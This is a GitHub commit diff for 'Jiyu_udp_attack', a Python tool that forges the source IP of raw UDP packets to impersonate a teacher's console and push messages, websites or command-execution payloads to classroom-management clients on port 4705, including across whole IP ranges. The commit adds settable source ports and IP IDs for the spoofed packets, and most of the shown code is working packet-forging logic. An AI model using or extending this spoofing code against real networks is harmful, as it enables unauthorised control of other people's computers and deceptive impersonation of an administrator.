Skip to content

Commit 022b198

Browse files
committed
feat: Enhance packet sending functionality with optional source port and IP ID parameters
1 parent b75b9d9 commit 022b198

File tree

3 files changed

+46
-10
lines changed

3 files changed

+46
-10
lines changed

Jiyu_udp_attack/__init__.py

Lines changed: 7 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -10,4 +10,10 @@
1010
from packet import pkg_message, pkg_website, pkg_execute
1111

1212

13-
__all__ = ["send_packet", "broadcast_packet", "pkg_message", "pkg_website", "pkg_execute"]
13+
__all__ = [
14+
"send_packet",
15+
"broadcast_packet",
16+
"pkg_message",
17+
"pkg_website",
18+
"pkg_execute",
19+
]

Jiyu_udp_attack/__main__.py

Lines changed: 4 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -21,8 +21,10 @@
2121
epilog="Github Repositories: https://github.com/weilycoder/Jiyu_udp_attack/tree/main/",
2222
)
2323
parser.add_argument("-s", "--teacher-ip", type=str, required=True, help="Teacher's IP address")
24+
parser.add_argument("-f", "--teacher-port", type=int, default=None, help="Teacher's port (default to random port)")
2425
parser.add_argument("-t", "--target", type=str, required=True, help="Target IP address")
2526
parser.add_argument("-p", "--port", type=int, default=4705, help="Port to send packets to (default: 4705)")
27+
parser.add_argument("-i", "--ip-id", type=int, default=None, help="IP ID for the packet (default: random ID)")
2628

2729
group = parser.add_mutually_exclusive_group(required=True)
2830
group.add_argument("-m", "--message", type=str, help="Message to send")
@@ -31,6 +33,7 @@
3133

3234
args = parser.parse_args()
3335
teacher_ip = args.teacher_ip
36+
teacher_port = args.teacher_port
3437
target = args.target
3538
port = args.port
3639
if args.message:
@@ -42,5 +45,5 @@
4245
else:
4346
raise ValueError("Either message or website must be provided")
4447

45-
broadcast_packet(teacher_ip, target, port, payload)
48+
broadcast_packet(teacher_ip, teacher_port, target, port, payload, ip_id=args.ip_id)
4649
print(f"Packet sent to {target} on port {port} with payload length {len(payload)} bytes")

Jiyu_udp_attack/sender.py

Lines changed: 35 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -5,6 +5,7 @@
55
import struct
66
import random
77
import socket
8+
from typing import Optional
89

910
try:
1011
from Jiyu_udp_attack.ip_analyze import ip_analyze
@@ -33,8 +34,15 @@ def calculate_checksum(data: bytes) -> int:
3334
return ~total & 0xFFFF
3435

3536

36-
# pylint: disable=too-many-locals
37-
def create_raw_udp_packet(src_ip: str, dst_ip: str, dst_port: int, payload: bytes) -> bytes:
37+
def create_raw_udp_packet(
38+
src_ip: str,
39+
src_port: Optional[int],
40+
dst_ip: str,
41+
dst_port: int,
42+
payload: bytes,
43+
*,
44+
ip_id: Optional[int] = None,
45+
) -> bytes:
3846
"""
3947
Creates a raw UDP packet with a spoofed source IP address.
4048
@@ -52,7 +60,7 @@ def create_raw_udp_packet(src_ip: str, dst_ip: str, dst_port: int, payload: byte
5260
ip_ihl = 5 # 5 * 4 = 20 bytes header
5361
ip_tos = 0
5462
ip_total_len = 20 + 8 + len(payload) # IP header + UDP header + data
55-
ip_id = random.randint(0, 65535)
63+
ip_id = random.randint(0, 65535) if ip_id is None else ip_id
5664
ip_frag_off = 0
5765
ip_ttl = 64
5866
ip_proto = socket.IPPROTO_UDP
@@ -92,7 +100,8 @@ def create_raw_udp_packet(src_ip: str, dst_ip: str, dst_port: int, payload: byte
92100
)
93101

94102
# 5. Build UDP header (initial checksum is 0)
95-
src_port = random.randint(1024, 65535) # Random source port
103+
if src_port is None:
104+
src_port = random.randint(1024, 65535) # Random source port
96105
udp_length = 8 + len(payload)
97106
udp_header = struct.pack("!HHHH", src_port, dst_port, udp_length, 0) # Initial checksum is 0
98107

@@ -109,14 +118,23 @@ def create_raw_udp_packet(src_ip: str, dst_ip: str, dst_port: int, payload: byte
109118
return ip_header + udp_header + payload
110119

111120

112-
def send_packet(src_ip: str, dst_ip: str, dst_port: int, payload: bytes) -> None:
121+
def send_packet(
122+
src_ip: str,
123+
src_port: Optional[int],
124+
dst_ip: str,
125+
dst_port: int,
126+
payload: bytes,
127+
*,
128+
ip_id: Optional[int] = None,
129+
) -> None:
113130
"""
114131
Sends a UDP packet with the specified source IP, destination IP, destination port, and data payload.
115132
116133
Ensure that the source IP address is valid and that you have permission to send packets with spoofed addresses.
117134
118135
Args:
119136
src_ip (str): The source IP address.
137+
src_port (Optional[int]): The source port number. If None, a random port will be used.
120138
dst_ip (str): The destination IP address.
121139
dst_port (int): The destination port number.
122140
payload (bytes): The data payload to include in the packet.
@@ -130,21 +148,30 @@ def send_packet(src_ip: str, dst_ip: str, dst_port: int, payload: bytes) -> None
130148
"""
131149
client = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
132150
client.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
133-
packet = create_raw_udp_packet(src_ip, dst_ip, dst_port, payload)
151+
packet = create_raw_udp_packet(src_ip, src_port, dst_ip, dst_port, payload, ip_id=ip_id)
134152
client.sendto(packet, (dst_ip, dst_port))
135153

136154

137-
def broadcast_packet(src_ip: str, dst_ip: str, dst_port: int, payload: bytes) -> None:
155+
def broadcast_packet(
156+
src_ip: str,
157+
src_port: Optional[int],
158+
dst_ip: str,
159+
dst_port: int,
160+
payload: bytes,
161+
*,
162+
ip_id: Optional[int] = None,
163+
) -> None:
138164
"""
139165
Sends a broadcast UDP packet to the specified destination IP address or range.
140166
141167
This function analyzes the destination IP address or range and sends the packet to each valid IP address.
142168
143169
Args:
144170
src_ip (str): The source IP address.
171+
src_port (Optional[int]): The source port number. If None, a random port will be used.
145172
dst_ip (str): The broadcast IP address (e.g., "192.168.1.255", "192.168.1.0/24", "192.168.1.10-100").
146173
dst_port (int): The destination port number.
147174
payload (bytes): The data payload to include in the packet.
148175
"""
149176
for ip in ip_analyze(dst_ip):
150-
send_packet(src_ip, ip, dst_port, payload)
177+
send_packet(src_ip, src_port, ip, dst_port, payload, ip_id=ip_id)

0 commit comments

Comments
 (0)